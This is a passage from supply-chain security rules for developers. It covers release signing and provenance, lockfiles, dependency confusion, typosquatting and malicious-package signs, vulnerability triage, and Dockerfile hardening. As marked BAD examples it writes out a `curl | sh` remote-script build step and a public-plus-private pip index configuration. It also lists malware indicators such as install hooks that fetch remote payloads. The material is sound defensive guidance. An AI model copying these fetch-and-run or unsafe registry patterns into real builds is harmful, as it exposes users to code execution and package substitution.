- Publish checksums (`SHA256SUMS`) AND sign them (cosign sign-blob / attestation) — an
  unsigned checksum file on the same server as the artifact only detects corruption, not
  tampering.
- Verify on the consumer side in install docs/scripts: download → verify signature →
  verify checksum → install. An install script that does `curl | bash` from your own
  release defeats all of the above (flag it in your own repos too).
- Git tags themselves: sign release tags (`git tag -s` / gitsign); CI release workflow
  verifies tag signature before building when your threat model includes repo-write
  compromise.

### 2.7.1 Release workflow shape (reference)

```yaml
# Tag push → environment-gated, provenance-emitting release
on:
  push:
    tags: ["v*"]            # tag pattern protected by ruleset (creation restricted)
permissions: { contents: read }
jobs:
  release:
    environment: release    # required reviewers; PYPI/npm trusted publisher bound here
    permissions:
      contents: write       # upload release assets
      id-token: write       # Sigstore / OIDC publish
      attestations: write
      packages: write
    steps:
      - uses: actions/checkout@<sha>
        with: { persist-credentials: false }   # build steps don't need a writable token
      - run: git tag -v "${GITHUB_REF_NAME}"   # verify signed tag if your model requires it
      # build → push by digest → attest → sign → publish
```

`persist-credentials: false` on checkout in build/release jobs is cheap hardening: the
default leaves the token in `.git/config` where any subsequent step (or test code!) can
read it — unnecessary in jobs that never push.

## 2.8 Provenance for internal consumers

- Record `digest → source SHA → workflow run URL` in your deploy metadata (annotations on
  k8s objects, deploy events to your observability stack). During an incident, "what
  exactly is running and which commit built it" must be a 30-second lookup, not forensics
  (rules/07 §7.3).
- Build IDs in artifacts (ldflags/version endpoints) should expose the source SHA — a
  binary that can't say where it came from extends every incident.

## 2.9 Common anti-patterns (fast audit greps)

- `cosign sign` and `docker build` in the same job with a key from `secrets.` — L2-at-best
  and key-leak surface (§2.2, §2.3).
- `--certificate-identity-regexp` with broad patterns (`.*`, `myorg/.*`) — identity
  laundering (§2.3).
- `gh attestation verify --owner` without `--signer-workflow`/`--signer-repo` on
  multi-repo orgs — any org repo can mint a passing artifact (§2.5).
- Release workflow triggered by `workflow_dispatch` without ref restriction — provenance
  will faithfully attest a build of an arbitrary branch (§2.6).
- Checksums generated in the same step that uploads them, unsigned (§2.7).
- `persist-credentials` left default in jobs running tests/third-party tools (§2.7.1).

## Audit checklist

- [ ] Released artifacts have build provenance (SLSA L2+; L3 via slsa-github-generator or GitHub attestations for shipped software)
- [ ] Provenance/signatures are over **digests**, generated outside user-controlled build steps, stored with the artifact
- [ ] Signing is keyless (Fulcio/Rekor) or KMS-backed; no signing keys in CI secrets
- [ ] Every signature/attestation has a named, fail-closed verifier (admission policy, CD verify, or promotion verify) with **exact** certificate identity + issuer — no wildcard identities
- [ ] SBOM and (where used) scan results attached as in-toto attestations bound to the digest
- [ ] Package publishing uses trusted publishers / OIDC provenance; no classic registry tokens in secrets; publish workflow is tag-triggered + environment-gated
- [ ] Release tags protected; releases immutable; checksums signed; install paths verify before executing
- [ ] Deployed-digest → source-SHA → build-run traceability exists and is queryable

# 03 — Dependencies & Supply Chain (lockfiles, registries, SBOM, scanning, updates)

Scope: everything that enters your build from outside the repo. The attacker's cheapest
path into your software is publishing a package you'll install. Controls: determinism
(lockfiles), provenance of resolution (registry scoping), visibility (SBOM), detection
(scanners + indicators), and disciplined update flow.

## 3.1 Lockfiles always, installs frozen

**Rule: every manifest has a committed lockfile, and CI/build installs refuse to deviate
from it.** An install that resolves versions at build time means the code you reviewed is
not the code you shipped, and yesterday's green build can be today's compromised one.

| Ecosystem | Lockfile | Frozen install (CI) |
|---|---|---|
| npm/pnpm/yarn | package-lock.json / pnpm-lock.yaml / yarn.lock | `npm ci` / `pnpm install --frozen-lockfile` / `yarn install --immutable` |
| Python | uv.lock / poetry.lock / requirements.txt **with hashes** | `uv sync --locked` / `poetry check --lock && poetry install --no-root` / `pip install --require-hashes -r requirements.txt` |
| Go | go.mod (pins) + go.sum (authenticates); +GONOSUMCHECK never set | `go mod verify`; CI fails on a dirty `go mod tidy` diff |
| Rust | Cargo.lock (commit it for libs too) | `cargo build --locked` |
| Ruby | Gemfile.lock | `bundle install --frozen` / `BUNDLE_FROZEN=true` |
| Docker | digest pins (rules/04 §4.3) | `FROM image@sha256:...` |

- **A frozen-install command can fail closed on a *stale* lock and open on a *missing* one.**
  Measured 2026-09-14 on Poetry 2.4.3: with `poetry.lock` desynced from `pyproject.toml`,
  `poetry install --no-root` exits **1** (`pyproject.toml changed significantly since
  poetry.lock was last generated`) — the check works. With **no lock file at all** the same
  command resolves fresh, installs, writes a lock and exits **0** — this section's own BAD
  pattern, at a green build. `poetry check --lock` exits 1 in *both* cases, which is why it
  goes first. Ask of every cell in this column: *what does it do when the lockfile is
  absent rather than wrong?*
- **Go has no lock file, by design — and is frozen anyway.** The [modules
  reference](https://go.dev/ref/mod#minimal-version-selection) is explicit: *"Unlike other
  dependency management systems, the build list is not saved in a 'lock' file … MVS is
  deterministic, and the build list doesn't change when new versions of dependencies are
  released."* `go.mod` pins, `go.sum` authenticates. So `-mod=readonly` is not the control it
  looks like — build commands have behaved that way **by default since Go 1.16** ("report an
  error if a module requirement or checksum needs to be added or updated"); setting it
  explicitly only guards against an inherited `-mod=mod` or a stray `vendor/`. `go mod verify`
  is narrower still: it checks the **local download cache** was not modified after download,
  not that the graph matches the repo. The control that earns its place is failing CI on a
  dirty `go mod tidy` diff (`sota-golang` rules/07 §4).
- BAD: `pip install -r requirements.txt` with bare `package>=1.2` lines in CI. BAD:
  `npm install` in CI (mutates the lockfile silently). BAD: a `Dockerfile` that
  `pip install`s unpinned packages even though the repo has a lockfile.
- Hash-pinning beats version-pinning: `--require-hashes` / go.sum / `npm ci` integrity
  fields also defend against registry-side substitution of an existing version.
- Lockfile *diffs* are review surface: a 4000-line lockfile churn hiding one malicious
  resolution is the attack. Use dependency-review gates (§3.2) rather than asking humans
  to read lockfiles.
- Audit: missing lockfile = High; lockfile present but unfrozen CI install = High (the
  lockfile is decorative).

## 3.2 Dependency review gates

**Rule: PRs that change dependencies pass an automated diff-aware gate** — new/changed
packages checked for known vulns, license, and (where supported) supply-chain signals,
blocking on policy.

```yaml
# GitHub: dependency review on every PR
permissions: { contents: read }
on: pull_request
jobs:
  dep-review:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<sha> # v4
      - uses: actions/dependency-review-action@<sha> # v4
        with:
          fail-on-severity: high
          deny-licenses: AGPL-3.0-only, AGPL-3.0-or-later, SSPL-1.0
          comment-summary-in-pr: on-failure
```

- This must be a **required check** (`rules/09` §1) or it's advisory noise.
- Complement with OSV/grype full scans on schedule (§3.6) — the PR gate only sees diffs.
- For ecosystems GitHub doesn't cover well, run `osv-scanner --lockfile` diff against the
  base branch in the PR workflow.

## 3.3 Dependency confusion & registry scoping

The attack: you depend on internal package `acme-utils`; attacker publishes `acme-utils`
9.9.9 to the public registry; a resolver that merges public+private indexes picks the
higher version. This breached Apple/Microsoft/PayPal builds (Birsan, 2021) and still works
wherever config is sloppy.

- **npm**: every internal package under a scope (`@acme/utils`); `.npmrc` maps the scope:
  `@acme:registry=https://npm.internal.acme/` — scoped resolution never falls through to
  npmjs. Also claim your scope on the public registry. Unscoped internal names = High.
- **pip**: `--extra-index-url` is the vulnerability — pip treats all indexes as equal and
  picks the best version across them. Use a single `index-url` pointing at a proxy
  (Artifactory/Nexus/devpi) that routes internal names internally and proxies PyPI for the
  rest, with **exclusion patterns** so internal names can never be fetched upstream. Any
  `extra-index-url` mixing public+private = High.
- **Go**: `GOPRIVATE=*.internal.acme.com,github.com/acme/*` so the public proxy/sumdb is
  never consulted for private modules (also prevents leaking module names).
- **Generic**: register/reserve your internal package names (or a namespace) on public
  registries; alert on any public publication matching internal naming patterns.

```ini
# GOOD — .npmrc: scoped registry, no fallthrough for internal packages
@acme:registry=https://npm.internal.acme/
registry=https://registry.npmjs.org/

# GOOD — pip.conf: ONE index (a routing proxy), not index + extra
[global]
index-url = https://pypi-proxy.internal.acme/simple/

# BAD — pip.conf: resolver races public vs private, highest version wins
[global]
index-url = https://pypi.org/simple/
extra-index-url = https://pypi.internal.acme/simple/
```
- Artifact proxy bonus: a caching proxy gives you an immutable local copy (left-pad/
  unpublish resilience), an audit log of everything fetched, and a single enforcement
  point — strongly preferred over direct registry access from CI.

## 3.4 Typosquatting & malicious-package indicators

Review *new* dependencies (human + automated) for:

- **Install-time execution**: npm `preinstall`/`install`/`postinstall`, Python `setup.py`
  arbitrary code. Most npm malware fires at install. Mitigation:
  `npm ci --ignore-scripts` in CI plus an explicit allowlist step for the few packages
  that genuinely need scripts (e.g., rebuild native deps deliberately); pnpm blocks
  dependency build scripts by default and takes an explicit allowlist — `allowBuilds`
  (a map of matchers to `true`/`false`). **`onlyBuiltDependencies` was removed in pnpm
  v11**, along with `onlyBuiltDependenciesFile`, `neverBuiltDependencies`,
  `ignoredBuiltDependencies` and `ignoreDepScripts`; latest stable is the v12 line
  (verify at [pnpm settings/build](https://pnpm.io/settings/build)). Keep
  `strictDepBuilds` on — default `true` since v10.3.0, it *"will exit with a non-zero exit
  code if any dependencies have unreviewed build scripts"*, which is the half that fails
  the build rather than warning. `dangerouslyAllowAllBuilds: true` reverts all of it.
- **Name proximity** to a popular package (`lodahs`, `python-dateutil` vs `dateutil`),
  starjacking (README/links pointing at an unrelated popular repo).
- **Slopsquatting** (OWASP "Secure Coding with AI"): AI coding assistants routinely
  invent plausible-but-nonexistent package names, and attackers pre-register them.
  **Verify every AI-suggested dependency actually exists with real history** (downloads,
  age, repo) before adding it — never `pip install`/`npm i` a name straight from a model.
  An approved-package allowlist plus the §3.7 cooldown blunts both this and typosquats.
- **Freshness/maintainer churn**: version published < 5–7 days ago (see cooldown, §3.7),
  brand-new maintainer on an old package, ownership transfer right before a release —
  the xz-utils pattern.
- **Payload smells**: minified/obfuscated code in a source package, hex/base64 blobs,
  `eval`/`Function` on decoded strings, network calls in install scripts, binary files in
  packages that should be pure source, postinstall fetching second-stage from a URL.
- Tooling: OpenSSF Scorecard for repos you depend on heavily; `osv-scanner` covers known
  malicious packages (MAL- advisories); GitHub/registry advisories for hijacked versions.
- Process: adding a dependency is an architectural decision — require PR description to
  justify new direct deps; prefer zero-dep or stdlib solutions for trivial needs
  (left-pad lesson: every dep is a maintainer you now trust forever).

### 3.4.1 Lockfile poisoning in PRs

The lockfile itself is an attack vector: a PR can edit `package-lock.json` to point an
existing package name at a different `resolved` URL or tampered `integrity` hash while
the human reviews only `package.json` (which may be unchanged). Defenses:

- Dependency-review gate (§3.2) reads the lockfile diff, not the manifest.
- `npm ci` verifies integrity hashes, but the hash in the lockfile is the attacker's hash
  — pair with `lockfile-lint` (or pnpm's `verifyStoreIntegrity`) asserting all `resolved`
  URLs point at allowed registries:
  `lockfile-lint -p package-lock.json --allowed-hosts npm registry.npmjs.org npm.internal.acme --validate-https`
- Treat lockfile-only PRs from non-bot authors with extra suspicion; bots (Renovate)
  should be the main lockfile writers.

## 3.5 SBOM generation (CycloneDX / SPDX)

**Rule: every release artifact gets an SBOM, generated at build time, stored where it can
be queried fleet-wide.** When the next log4shell drops, "are we affected, where?" must be
a query, not an archaeology project.

- Generate from the **lockfile + the built container** (both — the lockfile knows your app
  deps, the image scan knows OS packages and whatever the base image smuggled in):
  `syft <image-digest> -o cyclonedx-json` or `cdxgen` for richer app-level data.
- Format: CycloneDX or SPDX — pick one org-wide; both are fine, conversion is lossy, so
  standardize. Include component hashes and (where available) PURLs — PURLs are what make
  cross-referencing advisories automatic.
- Bind it: attach as an in-toto attestation on the image digest (rules/02 §2.4) and/or
  upload to a central store (Dependency-Track, GUAC). An SBOM in a CI artifact zip that
  expires in 90 days fails the log4shell test.
- Regenerate per build (SBOMs of `:latest` are meaningless); SBOM the *artifact*, not the
  repo.
- Audit severity: no SBOMs = Medium (it's a visibility control); SBOMs generated but not
  centrally queryable = Low-Medium honesty finding.

## 3.6 Vulnerability scanning with triage discipline

Scanners: `osv-scanner` (lockfiles, fast, OSV-native), `grype`/`trivy` (containers + OS
packages). Run: diff-aware on PRs (§3.2), full scan on default branch per build, and
**scheduled daily** scans of *deployed* digests (new CVEs apply to old builds — the
schedule, not the PR gate, catches those).

Triage discipline — the part everyone fails:

- **Severity ≠ priority.** Triage on: is the vulnerable function reachable
  (govulncheck does call-graph reachability for Go; for others, manual assessment), is the
  component exposed, is there a known exploit (CISA KEV, EPSS). A reachable Medium in your
  auth path outranks an unreachable Critical in a build-time tool. Recent grype releases
  bundle KEV and EPSS data and sort output by a computed risk score — use that ordering
  as the triage queue instead of bolting KEV lookups on by hand.
- **Applicability is a fourth axis, and it lives in the advisory prose, not in the
  score.** "Affected only on 32-bit platforms", "only when feature X is enabled",
  "only the CLI entrypoint, not the library" is neither reachability nor exposure
  nor KEV — and no scanner ordering reflects it, because a scanner reads the
  affected *version range* and the CVSS vector, not the paragraph that rules you
  out. Open the advisory and read its affected-platform / affected-configuration
  text before triaging. When it excludes you, that is a `not_affected` VEX
  (`vulnerable_code_not_present` when the affected code is not built for your
  platform; `vulnerable_code_not_in_execute_path` when the affected feature is off),
  not an ignore-with-expiry — the justification list is closed, so pick from it
  rather than writing prose.
- **Record decisions as VEX** (OpenVEX): `not_affected` with justification
  (`vulnerable_code_not_in_execute_path`, etc.) or `affected` + remediation deadline. Feed
  VEX back into scanners so triaged findings stop re-alerting — that's what keeps the gate
  credible.
- **Ignore files have expiry dates and owners.** A `.grype.yaml` ignore without an
  expiration and a linked justification is how gates rot:

```yaml
# GOOD: .grype.yaml
ignore:
  - vulnerability: CVE-2026-1234
    reason: "not reachable: vuln in XML parser, we never parse XML (VEX: vex/CVE-2026-1234.json)"
    # review-by: 2026-09-01  — enforce via scheduled job that fails on stale ignores
```

- SLAs by triaged priority (e.g., exploited-known: 48h; critical reachable: 7d; high: 30d)
  with the scheduled scan enforcing them — not "fail the PR for a CVE that was already
  there", which just teaches people to bypass.
- BAD patterns to flag: global `--severity-threshold critical` only (blind to exploited
  Highs); scanner runs with `continue-on-error: true`; one giant ignore list dated two
  years ago; scanning only on PR (never re-scanning deployed images).
- **No upstream patch available** (reachable vuln, no fixed version): triage doesn't stop
  at "no fix" (OWASP Vulnerable Dependency Management). In order of preference — guard the
  vulnerable call path with input validation/feature-flag kill-switch; virtual-patch at
  the edge (WAF/admission, sota-detection-engineering); fork-and-patch with an upstream PR
  and a regression test reproducing the vuln (§3.8); or replace the dependency. Record the
  chosen mitigation as VEX and set a re-check date — never just ignore-with-expiry.

### 3.6b A scanner built against an older toolchain fails as noise, not as a finding

§3.6a is two tools answering different questions. This is **one** tool whose own build has
gone stale against the toolchain it is analysing — and the output looks like a catastrophic
finding about your project.

After a routine toolchain upgrade (often dragged in as a dependency of an unrelated
`brew`/`apt` install), a vulnerability scanner compiled against the previous version emits a
wall of parse errors from **standard-library sources** and exits non-zero. None of it is
about your code.

The mechanism, verified 2026-09-13 in a container: a toolchain meeting source that declares a
newer version fails with a message that **names the version skew**, not the project —
`go: go.mod requires go >= 1.23 (running go 1.21.13)`. Field-reported in the scanner case, the
errors read `method must have no type parameters` and `file requires newer Go version`, with
paths pointing into the toolchain's own tree.

- **Two tells, and both are in the output**: the file paths are the *toolchain's* rather than
  yours, and at least one message names a version. A genuine finding cites your module.
- **Rebuild the tool against the current toolchain**, then **invoke it by absolute path**. A
  package-manager copy earlier in `PATH` will shadow the one you just built — `command -v`
  after a short-circuiting `PATH` prepend (`command -v x || export PATH=…`) still resolves the
  old one. Which binary ran is `rules/09` §2b.
- **Do not record this as a scan result in either direction.** It is neither a clean run nor a
  finding; the scan did not happen. A CI step that treats non-zero as "vulnerabilities found"
  will report a policy failure (`rules/11` §4 on classifying your own failures).

### 3.6a A clean run from one scanner is not coverage for another's question

§3.6's triage assumes findings to triage. This is the inverse: **two tools that both "check
dependencies" answer different questions, and the quiet one is not the reassuring one.**

Field-measured on one repository: `govulncheck ./...` reported **1** advisory and exited 0
while Dependabot reported **19** open alerts on the same tree. Neither was wrong.

| tool | the question it answers | what a clean run rules out |
|---|---|---|
| `govulncheck` | is a vulnerable **symbol reachable** from this code? (vuln DB + call graph) | reachable, *known-to-that-DB* vulnerabilities |
| Dependabot / SCA | is a vulnerable **version** in the dependency graph? (advisory DB + version ranges) | nothing about reachability |

So **a clean reachability scan is not evidence that dependencies are current**, and a clean
version scan is not evidence that anything exploitable is absent. Quoting either as "no
vulnerabilities" silently substitutes one question for the other — `sota-code-security`
rules/15 §2, where the instrument is fine and the claim is not.

- **Name the question beside the verdict.** *"govulncheck: no reachable vulnerable symbols"*
  is a finding; *"the scan was clean"* is not.
- **Reconcile a disagreement to a named cause before reporting either number.** In that case
  16 of the 19 were already closed and **three grpc advisories were not** — visible only to
  the version-range tool.
- **Merging a bot's bump is not closing the advisory it cites.** The same PR targeted 1.82.1
  while one advisory needed 1.82.2 and two needed 1.83.1. Check each alert's
  `first_patched_version` against the **resolved** graph (`go list -m all`, the lockfile),
  not against the PR title.

## 3.7 Renovate / Dependabot strategy

Unmanaged: drift until a CVE forces a terrifying 40-major-version jump. Unthrottled: you
auto-install malware minutes after it's published. The strategy:

- **Cooldown**: Renovate `minimumReleaseAge: "5 days"` (Dependabot: cooldown config) for
  public packages — most malicious versions are yanked within days. Exception: security
  updates bypass cooldown.
- **Group** related updates (monorepo presets, `group:allNonMajor` for dev-deps) to keep
  review load sane; never group majors.
- **Automerge** only: dev/test dependencies + patch/minor + full required-check suite
  green + cooldown passed. Production runtime deps get human review. Automerge without a
  meaningful test suite is auto-deploying strangers' code.
- Pin GitHub Actions digests (`helpers:pinGitHubActionDigests`) and Docker digests
  (Renovate updates the digest AND the version comment — best of both).
- Security updates (osv/GitHub advisories) get separate, immediate, clearly-labeled PRs.
- Audit: no update automation = Medium (guaranteed drift); automerge of runtime deps
  without cooldown = High.

```json5
// renovate.json — reference posture
{
  "extends": ["config:recommended", "helpers:pinGitHubActionDigests",
              ":pinDevDependencies", "docker:pinDigests"],
  "minimumReleaseAge": "5 days",
  "packageRules": [
    { "matchDepTypes": ["devDependencies"], "matchUpdateTypes": ["patch", "minor"],
      "automerge": true },
    { "matchUpdateTypes": ["major"], "automerge": false, "addLabels": ["major-update"] }
  ],
  "vulnerabilityAlerts": { "labels": ["security"], "minimumReleaseAge": null },
  "osvVulnerabilityAlerts": true
}
```

Renovate itself is a powerful bot: it needs PR-write only — review which app/token it
runs as and whether automerge bypasses required checks (it must not; automerge should
use the platform merge with required checks intact).

### 3.7.1 Landing a pin: name its watcher, and pin while it is still a no-op

Everything above assumes the version sits where a bot parses it. A version embedded in a
**build-tool invocation** is pinned and unwatchable by construction — no manifest exists,
and the bot sees a `RUN` line:

```dockerfile
RUN xcaddy build v2.11.4 --with github.com/example/caddy-plugin@v0.1.0
```

Same shape in Bazel/Make args, `go install tool@version`, `pip install x==y` in a
Dockerfile. Unpinned it drifts to latest on every rebuild; pinned it is frozen forever.
**Both states are silent** — only one of them sounds finished.

- **Every pin names the mechanism that will tell you it is stale**, and "Renovate" counts
  only once you confirm the bot parses *that file and that line*. `customManagers` (a regex
  over arbitrary files plus an explicit `datasourceTemplate`) teaches it a non-manifest pin;
  **Dependabot has no equivalent** — its ecosystems are manifest-shaped, so it reads a
  Dockerfile's `FROM` and not its `RUN` args (options reference, verified 2026-09-07). With
  no bot that can see it the pin needs a watcher, and a watcher is an instrument (`rules/11` §6).
- Otherwise **accept the freeze in writing**: an owner and a review date beside the pin —
  unwritten, it decays like an experiment with no scheduled read-back (`sota-architecture`
  rules/01 §4).
- **Pin while the pinned version is already what resolves.** The pin is then provably inert
  — determinism at zero behaviour change — so no later regression can be blamed on it; an
  SBOM diff (§3.5) showing the artifact component-for-component identical is the receipt.
  **Never pin and upgrade in one change**: that regression has two candidate causes and no
  build separates them.
- Read the version you are pinning to from **the resolver that will actually run**, and cite
  it — for Go modules `proxy.golang.org/<module>/@latest`, where `require` is a floor rather
  than a cap (`sota-golang` rules/07 §4). GitHub's `releases/latest` answers a different
  question and 404s outright for a repo publishing tags and no releases (`rules/11` §6).
- Audit: a pin outside anything the repo's update automation parses, with no watcher and no
  written acceptance = **Medium**; **High** if the frozen component faces the internet.

## 3.8 Vendoring tradeoffs

Vendoring (committing dependency source) is occasionally right, mostly wrong:

- **For**: hermetic builds with no registry availability risk; immune to unpublish/
  registry compromise *after* vendoring; full diff visibility on every update.
- **Against**: updates become manual and rot (the real-world failure mode: vendored copy
  with 3-year-old CVEs invisible to scanners that only read manifests); license
  obligations travel with the code; repo bloat.
- If you vendor: automate the refresh (`go mod vendor` in the update PR, Renovate still
  manages versions), ensure SBOM/scanners see vendored components (syft does for standard
  layouts), and never hand-patch vendored code without an upstream issue + a tracking
  comment (silent forks are unmaintainable).
- Middle path that usually wins: pull-through proxy with retention (§3.3) — registry-
  outage resilience without the rot.

## 3.9 The EOL date is what forces the lookup — platform and base-image matrices

§3.7 keeps *dependencies* current. This is the layer under them — base images, OS
releases, distributions, runtimes, the rows of a "supported platforms" table — where the
version is chosen once, written into a matrix, and never re-read. The router's principle 1
states the rule; this is why it takes the shape it does.

**A recalled version number carries no felt uncertainty.** It arrives subjectively
identical to a looked-up one — no hedge, no "I think" — so every rule that triggers on
doubt is structurally unable to fire, and "re-verify before recommending" does not reach
it. Worse, the framing is usually wrong too: pulling `alpine:3.20` to *test* something
reads as picking a fixture, not as a version decision, so the freshness rule is not even
consulted.

So require a second value that **cannot** be produced from plausibility:

- **Every versioned third-party row carries its EOL date.** A version with no EOL beside
  it has not been looked up — that is the whole mechanism, and it is checkable by eye in
  review. `endoflife.date`'s API covers most OS, distro, runtime and database cycles in
  one request; cross-check anything load-bearing against the vendor's own page.
- **A row whose EOL has passed is removed from the matrix, not corrected.** Testing an
  unsupported branch does not produce a slightly-stale answer, it produces an answer about
  a different system. Field-reported: Alpine **3.20** (EOL 2026-04-01) reports
  `# CONFIG_BPF_LSM is not set` where the current branch reports `CONFIG_BPF_LSM=y` — the
  stale row did not understate the current release, it said the opposite, turning "needs
  one boot parameter" into "cannot run without a custom kernel".
- **Sweep the whole table in one pass, not the row you were corrected on.** The same
  session fixed the Alpine row, wrote the lesson into the document, and left an openSUSE
  Leap **15.6** row (EOL 2026-04-30) that was stale for identical reasons one line down.
  The lesson had been encoded as a fact about Alpine rather than a procedure about
  versions. Re-running the lookup across all rows revealed **five of seven** stale at once;
  it is cheap and total, and nothing but the missing column was ever demanding it.
- **Compare capabilities, not version numbers — and state the assumption if you must.**
  *"Version ≥ X implies feature X"* is true only where the distribution tracks upstream. It
  is **false for exactly the enterprise distributions that backport**, which are also the
  ones with the largest deployed base — not a coincidence, since they backport *because* the
  base is large and conservative. Reproduced 2026-09-13 in a container: AlmaLinux 8 ships
  `kernel-headers-4.18.0-553.162.1.el8_10`, and that 4.18 header declares
  `BPF_MAP_TYPE_RINGBUF` (upstream 5.8) and `BPF_PROG_TYPE_LSM` (upstream 5.7). A version
  comparison excludes it; a capability probe includes it. Field-reported cost: RHEL 8 was
  written into a shipped support matrix as **excluded**, and the claim had to be retracted.
- **A method applied across a population needs its domain of validity written down.** The
  rule was not wrong — its *scope* was never stated, so it was applied uniformly to members
  that do not satisfy its premise. Name the assumption and name which members violate it;
  the member where a method fails is disproportionately the one that matters commercially.
- **Give the matrix an expiry.** A platform table is a decision with a review date
  (§3.7.1's discipline for a pin): the nearest EOL in the table *is* that date.

## Audit checklist

- [ ] Lockfiles committed for every manifest; CI/Docker builds use frozen/hash-verified installs; no `npm install`/bare `pip install` in CI
- [ ] Dependency-review gate on PRs, required, failing on high severity + license denylist
- [ ] No `--extra-index-url` public/private mixing; npm internals scoped; GOPRIVATE set; internal names reserved publicly; fetches go through a caching proxy with audit log
- [ ] Install scripts disabled by default in CI (`--ignore-scripts`/pnpm allowlist); new-dependency review covers install hooks, obfuscation, maintainer churn
- [ ] **Did a scanner fail with errors naming the toolchain's own paths?** (§3.6b) That is a
      stale tool build after a toolchain upgrade, not a finding — the tells are toolchain
      paths and a message naming a version. Rebuild it, invoke by absolute path (a
      package-manager copy earlier in `PATH` shadows it), and record the scan as **not run**
      rather than as clean or as failing
- [ ] **Is any "no vulnerabilities" claim resting on one scanner?** (§3.6a) A reachability
      tool (`govulncheck`) and a version-range tool (SCA/Dependabot) answer different
      questions — measured 1 advisory vs 19 alerts on one tree. State the question beside the
      verdict, reconcile any disagreement to a named cause, and check each alert's
      `first_patched_version` against the **resolved** graph rather than a bump's PR title
- [ ] SBOM (CycloneDX/SPDX) generated per artifact from lockfile + image, attached to the digest, queryable centrally
- [ ] Scanning: PR diff gate + scheduled scans of deployed digests; triage uses reachability/KEV/EPSS **and the advisory's own affected-platform/affected-configuration text** (§3.6); decisions recorded as VEX; ignores have owner + expiry; SLAs enforced
- [ ] Renovate/Dependabot active with cooldown (`minimumReleaseAge`), grouping, automerge restricted to dev/patch with green required checks; Actions + Docker digests auto-pinned
- [ ] **Every pin has a named staleness mechanism (§3.7.1)** — the bot confirmed to parse *that* file/line, or a watcher, or a written acceptance of the freeze with an owner and a review date; pins landed while still a no-op, never bundled with an upgrade
- [ ] Vendored deps (if any) are scanner-visible, auto-refreshed, and unpatched (or patches tracked upstream)
- [ ] **Inert-dependency sweep run** — declared-but-not-reached dependencies, modules and plugins, proven by deletion rather than by a tool's silence: [rules/10](10-inert-dependencies.md), a full pass with its own checklist
- [ ] **Does any support-matrix row infer a capability from a version number? (§3.9)** That
      holds only where the distro tracks upstream and is **false for backporting enterprise
      distributions** — measured: an AlmaLinux 8 `4.18` header declares BPF features from
      upstream 5.7/5.8. Probe the capability, say which you measured, and write down the
      assumption the method rests on plus the members that violate it
- [ ] **Every versioned third-party row carries an EOL date (§3.9)** — base images, OS/distro releases, runtimes, supported-platform matrices. A version with no EOL beside it has not been looked up, and a row past its EOL is **removed**, not corrected: an unsupported branch can answer the *opposite* of the current one, not merely a staler version of it. When one row is found stale, re-run the lookup across **all** rows in the same pass

# 04 — Build Integrity & Containers (hermetic builds, Dockerfiles, base images, registries)

Scope: the transformation from source to artifact. Goal: the build is a pure function of
committed inputs (hermetic, ideally reproducible), the artifact carries nothing it doesn't
need (minimal runtime), and the registry preserves integrity (digests, immutability).

## 4.1 Hermetic & reproducible builds

**Hermetic** (no undeclared inputs) is the security property; **reproducible** (bit-
identical output from same inputs) is the verification property. Pursue hermetic always,
reproducible where the payoff justifies it (SLSA verification, multi-party trust).

- All network fetches during build go through lockfile/hash-verified channels (rules/03
  §3.1) or a proxy with an allowlist. A build step that `curl`s an unpinned URL is an
  unreviewable input — every such fetch is a finding (High if it pipes to sh).

```dockerfile
# BAD — unpinned remote code execution as a build step
RUN curl -sSL https://install.example.com/tool.sh | sh

# GOOD — pinned download, verified
RUN curl -fsSLo /tmp/tool.tgz https://releases.example.com/tool-1.4.2-linux-amd64.tgz \
 && echo "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08  /tmp/tool.tgz" | sha256sum -c - \
 && tar -xzf /tmp/tool.tgz -C /usr/local/bin
```

- Pin the toolchain: compiler/SDK versions come from a pinned builder image or
  `.tool-versions`/`mise`/Nix — "whatever is on the runner" is an undeclared input.
- Build does not read the environment beyond declared args: no `ENV`-dependent branches,
  no time-dependent codegen. For reproducibility: set `SOURCE_DATE_EPOCH` (most
  toolchains and BuildKit honor it for timestamps), stable archive ordering
  (`tar --sort=name --mtime=...`), `-trimpath` for Go, deterministic zip for Java.
- Build and test in CI from a clean checkout only — artifacts built on laptops never get
  promoted (no provenance, no hermeticity, SLSA L0).
- Verify reproducibility where you claim it: a scheduled job rebuilds a recent release
  from the same SHA and diffs digests (`diffoscope` for the failure analysis). A
  reproducibility claim that is never re-derived is marketing; one independent rebuild
  per release window turns provenance from "trust the builder" into "check the builder".
- Build tooling is a dependency too: pin BuildKit/buildx, syft/grype/cosign versions in
  CI (via pinned action SHAs or pinned tool downloads with checksums) — an unpinned
  `latest` scanner can silently change gate behavior, and a compromised tool download is
  arbitrary code in the build (this is rules/03 applied to the pipeline itself).

## 4.2 Multi-stage Dockerfiles

**Rule: build tools, source, and secrets never appear in the runtime image.** Multi-stage
is the mechanism; the final stage copies artifacts only.

```dockerfile
# GOOD
# syntax=docker/dockerfile:1.7
FROM golang:1.23.4-bookworm@sha256:<digest> AS build
WORKDIR /src
COPY go.mod go.sum ./
RUN --mount=type=cache,target=/go/pkg/mod go mod download && go mod verify
COPY . .
RUN --mount=type=cache,target=/root/.cache/go-build \
    CGO_ENABLED=0 go build -trimpath -ldflags="-s -w -X main.commit=${GIT_SHA}" -o /out/app ./cmd/app

FROM gcr.io/distroless/static-debian12:nonroot@sha256:<digest>
COPY --from=build /out/app /app
USER nonroot:nonroot
ENTRYPOINT ["/app"]
```

```dockerfile
# BAD — single stage: toolchain + source + git history shipped to prod, runs as root
FROM golang:latest
COPY . .
RUN go build -o app . && chmod 777 app
CMD ./app
```

Hard rules:
- **`USER` non-root** in the final stage (numeric UID for k8s `runAsNonRoot` checks, or
  distroless `:nonroot`). Root-in-container is one kernel bug or hostPath mistake from
  root-on-node.
- **Secrets via BuildKit secret mounts only**: `RUN --mount=type=secret,id=netrc ...`.
  NEVER `ARG TOKEN` / `ENV TOKEN` / `COPY .npmrc` — build args land in image history
  (`docker history`), copied-then-deleted files persist in the layer. Any credential in an
  ARG/ENV/layer = High (Critical if the image is in a shared registry).
- **`.dockerignore`** excluding `.git`, `.env*`, secrets, local configs, `node_modules` —
  `COPY . .` without it ships your git history and whatever junk is on the build machine.
- Order for cache correctness: manifests + frozen install first, then source. Never let a
  cache mount cross trust boundaries (rules/01 §1.6).
- No `apt-get upgrade` at build (unreproducible drift) — get fixes by bumping the base
  digest instead. `apt-get install` with `--no-install-recommends` and version pins where
  the base supports it.
- `ENTRYPOINT` exec-form (`["/app"]`), `HEALTHCHECK` for non-k8s runtimes; no `sudo`, no
